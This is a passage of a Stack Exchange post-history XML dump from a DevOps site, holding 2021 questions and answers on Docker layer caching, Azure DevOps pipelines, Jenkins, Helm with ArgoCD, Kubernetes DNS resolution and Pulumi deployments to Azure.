https://download.moodle.org/download.php/direct/stable${VERSION}/moodle-latest-${VERSION}.zip -o /tmp/moodle-latest.zip  &amp;&amp; \&#xD;&#xA;		rm -rf /var/www/html/index.html &amp;&amp; \&#xD;&#xA;		cd /tmp &amp;&amp;	unzip /tmp/moodle-latest.zip &amp;&amp; cd / \&#xD;&#xA;		mkdir -p /usr/src/moodle &amp;&amp; \&#xD;&#xA;		mv /tmp/moodle /usr/src/ &amp;&amp; \&#xD;&#xA;		chown www-data:www-data -R /usr/src/moodle &amp;&amp; \&#xD;&#xA;		apk del unzip curl gcc g++ &amp;&amp;\&#xD;&#xA;    rm -rf /var/cache/apk/*&#xD;&#xA;&#xD;&#xA;COPY ./scripts/moodle-config-fpm.php /usr/src/moodle/config.php&#xD;&#xA;COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;RUN chown root:root /usr/local/bin/entrypoint.sh &amp;&amp;\&#xD;&#xA;	chmod +x /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]&#xD;&#xA;CMD [&quot;php-fpm&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And I want to keep the layer cache on each build for each version in order to spped up my builds. Each build on travis is on a seperate vm as a result I cannot resuse any built lays from my previous builds.&#xD;&#xA;&#xD;&#xA;Do you have any idea how I can keep the build layers between each build with different environmental variables?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41240" PostHistoryTypeId="1" PostId="13398" RevisionGUID="2282cd68-a7b9-40bd-844b-40faed32d0a2" CreationDate="2021-02-20T19:57:14.743" UserId="4396" Text="How I can cache the built layers on docker build using travis.ci?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41241" PostHistoryTypeId="3" PostId="13398" RevisionGUID="2282cd68-a7b9-40bd-844b-40faed32d0a2" CreationDate="2021-02-20T19:57:14.743" UserId="4396" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41242" PostHistoryTypeId="2" PostId="13399" RevisionGUID="3bc4c081-ccc3-4e18-85fd-d42c19d33331" CreationDate="2021-02-20T22:31:28.027" UserId="26203" Text="I have the following tasks in my yaml file in Azure DevOps&#xD;&#xA;It publishes my console application and zip it in a file&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- task: DotNetCoreCLI@2&#xD;&#xA;  inputs:&#xD;&#xA;    command: 'publish'&#xD;&#xA;    publishWebProjects: false&#xD;&#xA;    projects: '**/MyApp.csproj'&#xD;&#xA;    arguments: '-r win-x64 -p:PublishSingleFile=True --self-contained true -o $(Build.ArtifactStagingDirectory)'&#xD;&#xA;&#xD;&#xA;- task: PublishBuildArtifacts@1&#xD;&#xA;  inputs:&#xD;&#xA;    PathtoPublish: '$(Build.ArtifactStagingDirectory)'&#xD;&#xA;    ArtifactName: 'drop'&#xD;&#xA;    publishLocation: 'Container'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I set the project version directly on the project file in Visual Studio when I make any changes.&#xD;&#xA;Now I'm trying to get that version when I am publishing the project in AzureDevOps and customise the file name, lets say for a project version 1.2.1 the archived file output of the publish in azure should be MyApp-v1.2.1.zip&#xD;&#xA;Currently it only output file as MyApp.zip&#xD;&#xA;&#xD;&#xA;Not sure if even my approach towards versioning is correct, so appreciate any input!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41243" PostHistoryTypeId="1" PostId="13399" RevisionGUID="3bc4c081-ccc3-4e18-85fd-d42c19d33331" CreationDate="2021-02-20T22:31:28.027" UserId="26203" Text="Retrieving project version from csproj in Azure Pipeline .NET Core CLI task" ContentLicense="CC BY-SA 4.0" />
  <row Id="41244" PostHistoryTypeId="3" PostId="13399" RevisionGUID="3bc4c081-ccc3-4e18-85fd-d42c19d33331" CreationDate="2021-02-20T22:31:28.027" UserId="26203" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;yaml&gt;&lt;azure-artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41245" PostHistoryTypeId="2" PostId="13400" RevisionGUID="b830fddd-82a5-4c6e-b2b9-ee3051094ee0" CreationDate="2021-02-21T03:44:15.657" UserId="17989" Text="I have a job defined as a declarative pipeline that gets triggered by a number of different upstream jobs. Depending on which upstream job triggered my job, I don't necessarily need to run all of the stages in my pipeline, so I want to specify a list of triggers for each stage.&#xD;&#xA;&#xD;&#xA;I was hoping to use a `when` clause and `triggeredBy` conditions to determine when each stage runs, but the [documentation][1] isn't very detailed:&#xD;&#xA;&#xD;&#xA;&gt; triggeredBy&#xD;&#xA;&gt;&#xD;&#xA;&gt; Execute the stage when the current build has been triggered by the param given. For example:&#xD;&#xA;&gt;&#xD;&#xA;&gt;when { triggeredBy 'SCMTrigger' }&#xD;&#xA;&gt;&#xD;&#xA;&gt;when { triggeredBy 'TimerTrigger' }&#xD;&#xA;&gt;&#xD;&#xA;&gt;when { triggeredBy 'UpstreamCause' }&#xD;&#xA;&gt;&#xD;&#xA;&gt;when { triggeredBy cause: &quot;UserIdCause&quot;, detail: &quot;vlinde&quot; }&#xD;&#xA;&#xD;&#xA;Is there an `'UpstreamCause'` equivalent to the example for `'UserIdCause'` that would allow me to specify _which_ upstream cause should trigger a specific stage? If so, what is the exact syntax? Basically I want to do something like:&#xD;&#xA;&#xD;&#xA;    when {&#xD;&#xA;        anyOf {&#xD;&#xA;            triggeredBy cause: 'UpstreamCause', detail: 'Job A'&#xD;&#xA;            triggeredBy cause: 'UpstreamCause', detail: 'Job C'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I'm also open to other approaches for accomplishing this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/book/pipeline/syntax/#declarative-pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="41246" PostHistoryTypeId="1" PostId="13400" RevisionGUID="b830fddd-82a5-4c6e-b2b9-ee3051094ee0" CreationDate="2021-02-21T03:44:15.657" UserId="17989" Text="How can I add a when clause for a specific upstream trigger in a Jenkins declarative pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41247" PostHistoryTypeId="3" PostId="13400" RevisionGUID="b830fddd-82a5-4c6e-b2b9-ee3051094ee0" CreationDate="2021-02-21T03:44:15.657" UserId="17989" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41248" PostHistoryTypeId="50" PostId="9795" RevisionGUID="80eb4dfb-2254-4245-894b-074aa79a0a38" CreationDate="2021-02-21T06:01:00.770" UserId="-1" />
  <row Id="41253" PostHistoryTypeId="2" PostId="13402" RevisionGUID="8be6a1f5-580c-4d06-91d5-5b75f2efe1ff" CreationDate="2021-02-21T11:43:59.200" UserId="3333" Text="The terraform service account was located in a separate project and the API needed to be enabled for appengine in the account the Terraform service account runs in even though it was creating a resource in an another project." ContentLicense="CC BY-SA 4.0" />
  <row Id="41255" PostHistoryTypeId="6" PostId="13400" RevisionGUID="df9cc579-237d-476d-a3c7-c4ca161cb50c" CreationDate="2021-02-21T15:45:54.057" UserId="17989" Comment="edited tags" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41256" PostHistoryTypeId="50" PostId="12746" RevisionGUID="60277f02-e3b9-42dd-b997-ff1fc853c138" CreationDate="2021-02-21T16:03:35.370" UserId="-1" />
  <row Id="41260" PostHistoryTypeId="2" PostId="13404" RevisionGUID="549bcefd-1f2c-4e52-abd5-5c9424d420c3" CreationDate="2021-02-22T02:33:00.163" UserId="24678" Text="I've been studying Kubernetes and Helm lately (I'm new to both) and figuring out how I can fit them into my companies CI/CD process. On top of this, I want to adapt to the GitOps process, where you check out and release an environment. I firmly believe in fitting to tools to the process, instead of the other way around.&#xD;&#xA;&#xD;&#xA;Because of this I'm beginning to think that Helm may not be for us? Let me explain.&#xD;&#xA;&#xD;&#xA;In GitOps, you check out a whole environment, correct? You say, I want to checkout `rc-2.1.0` (release candidate) for example, and it will define ALL the microservices needed for that version. So if we had 20 microservices, only 3/20 may have changed between `rc-2.0.0` and `rc-2.1.0` but you still deploy all 20 of them. With Kubernetes, 17/20 will be a no-op since nothing's changed, and only the changed 3/20 will actually be updated. This way we can later go back to `rc-2.0.0` if need be for any reason, and get the 20 microservices defined in that version.&#xD;&#xA;&#xD;&#xA;But I want to decouple the activity of deploying new versions, which takes time, to the actual action of &quot;switching&quot; to the new versions. The deployment is done with Deployments, while the action can be done by updating a Service's label correct? So I want to do the following&#xD;&#xA;&#xD;&#xA; 1. Build and push Docker images (we currently do this, and won't change)&#xD;&#xA; 2. Deploy new containers (pods) via Deployment using `kubectl apply -f deployment.yaml`&#xD;&#xA; 3. Wait for the deployments to finish&#xD;&#xA; 4. Update the `Service` to point to the new Deployment, which is instantaneous&#xD;&#xA;&#xD;&#xA;Since a Helm chart deploys a whole package, it contains both Service and Deployment templates, I can't really &quot;decouple&quot; steps 2-3 with step 4 above?&#xD;&#xA;&#xD;&#xA;So is Helm indeed not for me? If I'm completely off-base in my understanding of Helm, how can I accomplish this process using the tool?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41261" PostHistoryTypeId="1" PostId="13404" RevisionGUID="549bcefd-1f2c-4e52-abd5-5c9424d420c3" CreationDate="2021-02-22T02:33:00.163" UserId="24678" Text="Is Helm not for me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41262" PostHistoryTypeId="3" PostId="13404" RevisionGUID="549bcefd-1f2c-4e52-abd5-5c9424d420c3" CreationDate="2021-02-22T02:33:00.163" UserId="24678" Text="&lt;helm&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41263" PostHistoryTypeId="5" PostId="13404" RevisionGUID="ece64f7c-fa31-42f0-92c4-4a825f8eae9a" CreationDate="2021-02-22T02:43:57.967" UserId="24678" Comment="added 132 characters in body" Text="I've been studying Kubernetes and Helm lately (I'm new to both) and figuring out how I can fit them into my companies CI/CD process. On top of this, I want to adapt to the GitOps process, where you check out and release an environment. I firmly believe in fitting to tools to the process, instead of the other way around.&#xD;&#xA;&#xD;&#xA;Because of this I'm beginning to think that Helm may not be for us? Let me explain.&#xD;&#xA;&#xD;&#xA;In GitOps, you check out a whole environment, correct? You say, I want to checkout `rc-2.1.0` (release candidate) for example, and it will define ALL the microservices needed for that version. So if we had 20 microservices, only 3/20 may have changed between `rc-2.0.0` and `rc-2.1.0` but you still deploy all 20 of them. With Kubernetes, 17/20 will be a no-op since nothing's changed, and only the changed 3/20 will actually be updated. This way we can later go back to `rc-2.0.0` if need be for any reason, and get the 20 microservices defined in that version.&#xD;&#xA;&#xD;&#xA;But I want to decouple the activity of deploying new versions, which takes time, to the actual action of &quot;switching&quot; to the new versions. The deployment is done with Deployments, while the action can be done by updating a Service's label correct? So I want to do the following&#xD;&#xA;&#xD;&#xA; 1. Build and push Docker images (we currently do this, and won't change)&#xD;&#xA; 2. Deploy new containers (pods) via Deployment using `kubectl apply -f deployment.yaml`&#xD;&#xA; 3. Wait for the deployments to finish&#xD;&#xA; 4. Update the `Service` to point to the new Deployment, which is instantaneous&#xD;&#xA;&#xD;&#xA;Since a Helm chart deploys a whole package, it contains both Service and Deployment templates, I can't really &quot;decouple&quot; steps 2-3 with step 4 above?&#xD;&#xA;&#xD;&#xA;So is Helm indeed not for me? If I'm completely off-base in my understanding of Helm, how can I accomplish this process using the tool?&#xD;&#xA;&#xD;&#xA;**NOTE:** I know I can accomplish rollouts and rollbacks via Deployments, but again, if I understand correctly, this takes time." ContentLicense="CC BY-SA 4.0" />
  <row Id="41264" PostHistoryTypeId="2" PostId="13405" RevisionGUID="5c158876-1226-41f8-9e6f-47516df39841" CreationDate="2021-02-22T04:44:09.393" UserId="26211" Text="I used the Groovy script console to obtain it this way:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def executables = Jenkins.instance.computers.collect {c -&gt; c.executors}.&#xD;&#xA;   flatten().&#xD;&#xA;   findAll { executor -&gt; executor.isBusy() }.&#xD;&#xA;   collect { executor -&gt; executor.getCurrentExecutable() }.&#xD;&#xA;   collect { executable -&gt; [ &quot;job&quot;: executable.getParent().getOwnerTask(), &quot;build&quot;: executable ]}.&#xD;&#xA;   unique().&#xD;&#xA;   collect { builds -&gt; [ builds[&quot;job&quot;].getFullDisplayName(), builds[&quot;build&quot;].number ] }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's pretty painful that Jenkins doesn't provide something as simple as this with a clear, high-level API.&#xD;&#xA;&#xD;&#xA;You won't want to put this in Pipeline code. Instead put it in your script library so it isn't subject to method authorization issues, and only returns the final results." ContentLicense="CC BY-SA 4.0" />
  <row Id="41265" PostHistoryTypeId="5" PostId="13405" RevisionGUID="7a31e69e-1926-405c-8aac-9a04513c3707" CreationDate="2021-02-22T04:50:09.277" UserId="26211" Comment="added 330 characters in body" Text="I used the Groovy script console to obtain it this way:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def executables = Jenkins.instance.computers.collect {c -&gt; c.executors}.&#xD;&#xA;   flatten().&#xD;&#xA;   findAll { executor -&gt; executor.isBusy() }.&#xD;&#xA;   collect { executor -&gt; executor.getCurrentExecutable() }.&#xD;&#xA;   collect { executable -&gt; [ &quot;job&quot;: executable.getParent().getOwnerTask(), &quot;build&quot;: executable ]}.&#xD;&#xA;   collect { builds -&gt; [ builds[&quot;job&quot;].getFullDisplayName(), builds[&quot;build&quot;].number ] }.&#xD;&#xA;   unique()&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's pretty painful that Jenkins doesn't provide something as simple as this with a clear, high-level API.&#xD;&#xA;&#xD;&#xA;`getDisplayName()` and `getUrl()` offer useful alternatives to `getFullDisplayName()`. I didn't immediately find a sensible way to get the job-path without `/job/` separators, so my final expression for the job name is actually&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;builds[&quot;job&quot;].getUrl().split('/').findAll { it -&gt; it != &quot;job&quot; }.join(&quot;/&quot;)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... ick.&#xD;&#xA;&#xD;&#xA;You won't want to put this in Pipeline code. Instead put it in your script library so it isn't subject to method authorization issues, and only returns the final results." ContentLicense="CC BY-SA 4.0" />
  <row Id="41267" PostHistoryTypeId="2" PostId="13406" RevisionGUID="5d8c7feb-a44e-4948-b0c0-7bdbd27de958" CreationDate="2021-02-22T06:09:20.633" UserId="22198" Text="I have several clients on different WHMCS, WHM and PHP versions. I need to setup a development environment with configurable WHMCS, WHM and PHP versions to test WHMCS add-ons before releasing to clients. Vagrant looks promising, but couldn't achieve the goal yet. Looking for suggestions for a set of DevOps tools to achieve my goal and little intro on how to start the work." ContentLicense="CC BY-SA 4.0" />
  <row Id="41268" PostHistoryTypeId="1" PostId="13406" RevisionGUID="5d8c7feb-a44e-4948-b0c0-7bdbd27de958" CreationDate="2021-02-22T06:09:20.633" UserId="22198" Text="Setup a configurable whmcs-whm development environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="41269" PostHistoryTypeId="3" PostId="13406" RevisionGUID="5d8c7feb-a44e-4948-b0c0-7bdbd27de958" CreationDate="2021-02-22T06:09:20.633" UserId="22198" Text="&lt;configuration&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41270" PostHistoryTypeId="5" PostId="13405" RevisionGUID="bfa84a08-e51b-4441-a463-cdbee7ea294e" CreationDate="2021-02-22T06:46:15.953" UserId="26211" Comment="added 317 characters in body" Text="I used the Groovy script console to obtain it this way:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def executables = Jenkins.instance.computers.collect {c -&gt; c.executors}.&#xD;&#xA;def runs = Jenkins.instance.computers.collect {c -&gt; c.executors}.&#xD;&#xA;   flatten().&#xD;&#xA;  findAll { executor -&gt; executor.isBusy() }.&#xD;&#xA;  collect { executor -&gt; executor.getCurrentExecutable() }.&#xD;&#xA;    collect { executable -&gt; &quot;${executable.displayName}: ${executable.number}&quot; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;or if you want the `Build` class, this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Jenkins.instance.computers.collect {c -&gt; c.executors}.&#xD;&#xA;  flatten().&#xD;&#xA;  findAll { executor -&gt; executor.isBusy() }.&#xD;&#xA;  collect { executor -&gt;&#xD;&#xA;    def u = executor.currentExecutable.url&#xD;&#xA;    def n = executor.currentExecutable.number&#xD;&#xA;    def job_qual_name = u.split('/')[0..-2].findAll { it != 'job' }.join('/')&#xD;&#xA;    def job = Jenkins.instance.getItemByFullName(job_qual_name, Job.class)&#xD;&#xA;    job.getBuildByNumber(build.number)&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's pretty painful that Jenkins doesn't provide something as simple as this with a clear, high-level API.&#xD;&#xA;&#xD;&#xA;It's extra ugly that the paths used by the folders plugin jobs don't work with `Jenkins.getItemByFullName()` without munging. Ick. Also that `Jenkins.getItemByFullName()` doesn't seem to support getting a `Build`.&#xD;&#xA;&#xD;&#xA;You won't want to put this in Pipeline code. Instead put it in your script library so it isn't subject to method authorization issues, and only returns the final results." ContentLicense="CC BY-SA 4.0" />
  <row Id="41276" PostHistoryTypeId="2" PostId="13408" RevisionGUID="b607f6d5-2fa5-4b71-98c2-326c9ebdafd6" CreationDate="2021-02-22T09:31:57.227" UserId="26214" Text="I have a CI pipeline on Azure DevOps with a single variable named &quot;foo&quot;.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/VsUQA.png&#xD;&#xA;&#xD;&#xA;In one of my kubernetes manifest files I would like to input that variable, so I have put in this:&#xD;&#xA;&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: frost-rss-web&#xD;&#xA;          image: danielsacr/web:${foo}&#xD;&#xA;&#xD;&#xA;Can I do that somehow ?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41277" PostHistoryTypeId="1" PostId="13408" RevisionGUID="b607f6d5-2fa5-4b71-98c2-326c9ebdafd6" CreationDate="2021-02-22T09:31:57.227" UserId="26214" Text="Kubernetes manifest files variable substitutions on with Azure DevOps release pipeline variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="41278" PostHistoryTypeId="3" PostId="13408" RevisionGUID="b607f6d5-2fa5-4b71-98c2-326c9ebdafd6" CreationDate="2021-02-22T09:31:57.227" UserId="26214" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41279" PostHistoryTypeId="5" PostId="13288" RevisionGUID="a308599f-c8d7-442a-8a6e-1c36693be5fd" CreationDate="2021-02-22T18:20:43.977" UserId="24524" Comment="Update answer" Text="Please refer to the [following article][1] on the SonarQube - SonarScanner setup best practices. It will be good if the following [hardware recommendations ][2] are considered for the SonarQube installations. Following are some of the important considerations. &#xD;&#xA;&#xD;&#xA; - SonarQube server should be on a real DB not on H2.&#xD;&#xA; - The analysis should occur very close to the SonarQube DB.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/swlh/sonarqube-sonarscanner-setup-1a633b654828&#xD;&#xA;  [2]: https://docs.sonarqube.org/latest/requirements/hardware-recommendations/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41280" PostHistoryTypeId="24" PostId="13288" RevisionGUID="a308599f-c8d7-442a-8a6e-1c36693be5fd" CreationDate="2021-02-22T18:20:43.977" Comment="Proposed by 24524 approved by 40 edit id of 1349" ContentLicense="CC BY-SA 4.0" />
  <row Id="41283" PostHistoryTypeId="2" PostId="13409" RevisionGUID="a988d6b1-d845-4d59-b144-450810fa8672" CreationDate="2021-02-22T20:19:59.550" UserId="26236" Text="Helm charts should not be built for a specific environment, IMHO. You can see that many of the official helm charts have a set of default values and they are configurable from outside. You also can create a helm chart like that and declare your deployment + environment-specific values with another tool like [Helm Operator][1] or [ArgoCD][2]. In this way, you can both simplify your build pipeline and increase [dev/prod parity][3]. You can use that one chart and **promote** the same build into different environments so you can be sure that different environments are identical except the configuration.&#xD;&#xA;&#xD;&#xA;Example ArgoCD application manifests:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**production-application.yaml:**&#xD;&#xA;&#xD;&#xA;    apiVersion: argoproj.io/v1alpha1&#xD;&#xA;    kind: Application&#xD;&#xA;    metadata:&#xD;&#xA;      name: production-yourservice&#xD;&#xA;      namespace: argocd&#xD;&#xA;    spec:&#xD;&#xA;      project: default&#xD;&#xA;      source:&#xD;&#xA;        repoURL: https://github.com/yourorganisation/helm-charts&#xD;&#xA;        path: yourservice&#xD;&#xA;        targetRevision: master&#xD;&#xA;        helm:&#xD;&#xA;          values: |&#xD;&#xA;            environment: production&#xD;&#xA;            replicas: 10&#xD;&#xA;      destination:&#xD;&#xA;        server: https://kubernetes.default.svc&#xD;&#xA;        namespace: production-yourservice&#xD;&#xA;&#xD;&#xA;**staging-application.yaml:**&#xD;&#xA;&#xD;&#xA;    apiVersion: argoproj.io/v1alpha1&#xD;&#xA;    kind: Application&#xD;&#xA;    metadata:&#xD;&#xA;      name: staging-yourservice&#xD;&#xA;      namespace: argocd&#xD;&#xA;    spec:&#xD;&#xA;      project: default&#xD;&#xA;      source:&#xD;&#xA;        repoURL: https://github.com/yourorganisation/helm-charts&#xD;&#xA;        path: yourservice&#xD;&#xA;        targetRevision: master&#xD;&#xA;        helm:&#xD;&#xA;          values: |&#xD;&#xA;            environment: staging&#xD;&#xA;            replicas: 1&#xD;&#xA;      destination:&#xD;&#xA;        server: https://kubernetes.default.svc&#xD;&#xA;        namespace: staging-yourservice&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/fluxcd/helm-operator&#xD;&#xA;  [2]: https://argoproj.github.io/argo-cd/&#xD;&#xA;  [3]: https://12factor.net/dev-prod-parity" ContentLicense="CC BY-SA 4.0" />
  <row Id="41284" PostHistoryTypeId="2" PostId="13410" RevisionGUID="c8afcf68-de27-4359-a930-96f62196ebf0" CreationDate="2021-02-22T20:49:14.263" UserId="26236" Text="Your `/etc/resolve.conf` should include `search &lt;currentnamespace&gt;.svc.cluster.local svc.cluster.local cluster.local` to discover hostnames that aren't FQDN.&#xD;&#xA;&#xD;&#xA;As an example, this is the content of my pod's `/etc/resolve.conf`:&#xD;&#xA;&#xD;&#xA;    nameserver 10.100.0.10&#xD;&#xA;    search staging.svc.cluster.local svc.cluster.local cluster.local eu-west-1.compute.internal&#xD;&#xA;&#xD;&#xA;With this configuration, DNS resolution works like this:&#xD;&#xA;&#xD;&#xA; 1. Is the hostname a fully qualified domain name (FQDN)? (In other words, does it end with a dot, like &quot;google.com.&quot;)&#xD;&#xA; 2. If it's an FQDN, query nameserver (`10.100.0.10`) for the hostname.&#xD;&#xA; 3. If it's not an FQDN, then append the **1st** element of the config **search** to the hostname. `svcname` -&gt; `svcname.staging.svc.cluster.local` and query the nameserver.&#xD;&#xA; 4. If no results found, try to append the **2nd** element of the config **search** to the hostname and query the nameserver.&#xD;&#xA; 5. ...&#xD;&#xA;&#xD;&#xA;You want to resolve the hostname `svcname` but its FQDN is `svcname.&lt;namespace&gt;.svc.cluster.local.` and you need that **search** configuration to convert it to FQDN." ContentLicense="CC BY-SA 4.0" />
  <row Id="41294" PostHistoryTypeId="2" PostId="13413" RevisionGUID="c500922e-e664-4345-bc30-baf6bf318eb2" CreationDate="2021-02-23T10:09:24.327" UserId="26015" Text="I am deploying a C# ASP.NET Core web service to Azure using Pulumi. I can deploy it in 3 ways:&#xD;&#xA;&#xD;&#xA;1. Run it locally from Visual Studio, i.e., not using Azure at all.&#xD;&#xA;2. Deploy it to Azure from my local developer computer.&#xD;&#xA;3. Deploy it to Azure from Jenkins (whicn runs on a different computer). &#xD;&#xA;&#xD;&#xA;I have this problem: &#xD;&#xA;&#xD;&#xA;1. When I run it locally, I can call the service fine, e.g. from Postman or from a C# application. The web service returns what I expect.&#xD;&#xA;2. When I deploy it to Azure from my local machine, I can also call it fine. The web service returns what I expect.&#xD;&#xA;3. When I deploy it to Azure from Jenkins and then try to call the webservice, it returns &quot;NotFound&quot; to all calls no matter what I do. (This presumably means HTTP 404.)&#xD;&#xA;&#xD;&#xA;The deployments in 2 and 3 should be exactly the same. My question is: **How can I find out what the difference is between these two deployments in Azure?**&#xD;&#xA;&#xD;&#xA;The Jenkins-deployed webservice exhibits the following curious behaviour:&#xD;&#xA;&#xD;&#xA;* It does not log any exceptions (even when I wait several minutes for them to show up). &#xD;&#xA;* If I go to my resource group -&gt; Application Insights -&gt; Logs and search for &quot;requests&quot;, it does list requests. Curiously, it says that it returned HTTP 200 to all the requests, even though what I get when calling them is 404. &#xD;&#xA;* The above is true even for web service calls that should never return 200 (they should return 201).&#xD;&#xA;* The above is true even for web service calls to methods that shouldn't even exist (i.e., when I deliberately corrupt the method URI before calling the service).&#xD;&#xA;&#xD;&#xA;During deployment I authenticate with Azure using a service principal. My Jenkinsfile looks like this:&#xD;&#xA;&#xD;&#xA;    withVaultSecrets([                                    &#xD;&#xA;        &quot;path/to/secret/in/vault&quot;: [&#xD;&#xA;            &quot;sp_name&quot;, &quot;application_id&quot;, &quot;object_id&quot;, &quot;sp_secret&quot;&#xD;&#xA;        ]&#xD;&#xA;    ]){&#xD;&#xA;        script {&#xD;&#xA;            env.PULUMI_CONFIG_PASSPHRASE = 'jenkinspassphrase'&#xD;&#xA;            env.ARM_CLIENT_ID = &quot;${application_id}&quot;&#xD;&#xA;            env.ARM_CLIENT_SECRET = &quot;${sp_secret}&quot;&#xD;&#xA;            env.ARM_TENANT_ID = &quot;${azure_dev_tenant_id}&quot;&#xD;&#xA;            env.ARM_SUBSCRIPTION_ID = &quot;${azure_dev_subscription_id}&quot;&#xD;&#xA;            env.AZURE_CLIENT_ID = &quot;${application_id}&quot;&#xD;&#xA;            env.AZURE_CLIENT_SECRET = &quot;${sp_secret}&quot;&#xD;&#xA;            env.AZURE_TENANT_ID = &quot;${azure_dev_tenant_id}&quot;&#xD;&#xA;        }//script&#xD;&#xA;        dir(&quot;./src/deploy/KmsStack&quot;){&#xD;&#xA;            powershell &quot;pulumi login --local&quot;;&#xD;&#xA;            powershell &quot;pulumi stack init jenkinsfunctionaltest --secrets-provider=passphrase&quot;&#xD;&#xA;            powershell &quot;pulumi up --yes&quot;&#xD;&#xA;        }//dir&#xD;&#xA;    }//withVaultSecrets&#xD;&#xA;&#xD;&#xA;The script which I use to deploy locally looks like this, with the same service principal credentials: &#xD;&#xA;&#xD;&#xA;    cd $PSScriptRoot&#xD;&#xA;    cd webapi&#xD;&#xA;    dotnet publish /p:DisableGitVersionTask=true&#xD;&#xA;    cd ../deploy/KmsStack&#xD;&#xA;    $env:PULUMI_CONFIG_PASSPHRASE = 'jenkinspassphrase'&#xD;&#xA;    $env:ARM_CLIENT_ID = ...&#xD;&#xA;    $env:ARM_CLIENT_SECRET = ...&#xD;&#xA;    $env:ARM_TENANT_ID = ...&#xD;&#xA;    $env:ARM_SUBSCRIPTION_ID = ...&#xD;&#xA;    $env:AZURE_CLIENT_ID = ...&#xD;&#xA;    $env:AZURE_CLIENT_SECRET = ...&#xD;&#xA;    $env:AZURE_TENANT_ID = ...&#xD;&#xA;    pulumi logout&#xD;&#xA;    pulumi login --local&#xD;&#xA;    pulumi stack rm jenkinsfunctionaltest -y&#xD;&#xA;    pulumi stack init jenkinsfunctionaltest --secrets-provider=passphrase&#xD;&#xA;    pulumi stack select jenkinsfunctionaltest&#xD;&#xA;    pulumi up --yes&#xD;&#xA;&#xD;&#xA;How can I find out why these two deployed services behave differently? The Azure portal GUI is rich and has lots of sections. Can you recommend me where to look? Might there be some security settings that differ? How can I find them?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="41295" PostHistoryTypeId="1" PostId="13413" RevisionGUID="c500922e-e664-4345-bc30-baf6bf318eb2" CreationDate="2021-02-23T10:09:24.327" UserId="26015" Text="Two identical Azure deployments; one always throws 404 - how to find out what the difference is?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41296" PostHistoryTypeId="3" PostId="13413" RevisionGUID="c500922e-e664-4345-bc30-baf6bf318eb2" CreationDate="2021-02-23T10:09:24.327" UserId="26015" Text="&lt;jenkins&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41297" PostHistoryTypeId="2" PostId="13414" RevisionGUID="c2485e80-b02b-4d19-b089-787877afb1c2" CreationDate="2021-02-23T13:36:17.577" UserId="26151" Text="The interface is a little vague, but if I go to Pipeline &gt; Edit then click &quot;Retention&quot; at the top, I can set values there that work.&#xD;&#xA;&#xD;&#xA;Note: The updates/clean up only happen at... some time???  I'm not 100% sure when, but builds aren't immediately cleaned up if the policy changes.&#xD;&#xA;&#xD;&#xA;The Days to Retain a Release box and the Minimum Releases to Keep influence each other, and the system seems to keep the build if either meets the criteria.&#xD;&#xA;&#xD;&#xA;So, I set the UAT stage to 1 day / 1 release, so it always keeps AT LEAST 1 build, and always keeps all builds for AT LEAST 1 day.&#xD;&#xA;&#xD;&#xA;I set the Prod stage to 3 day / 3 release, so it always keeps AT LEAST 3 builds, and always keeps all builds for AT LEAST 3 days.&#xD;&#xA;&#xD;&#xA;Now it's much cleaner:&#xD;&#xA;[![Builds][1]][1]&#xD;&#xA;&#xD;&#xA;I hope this helps someone in the future! 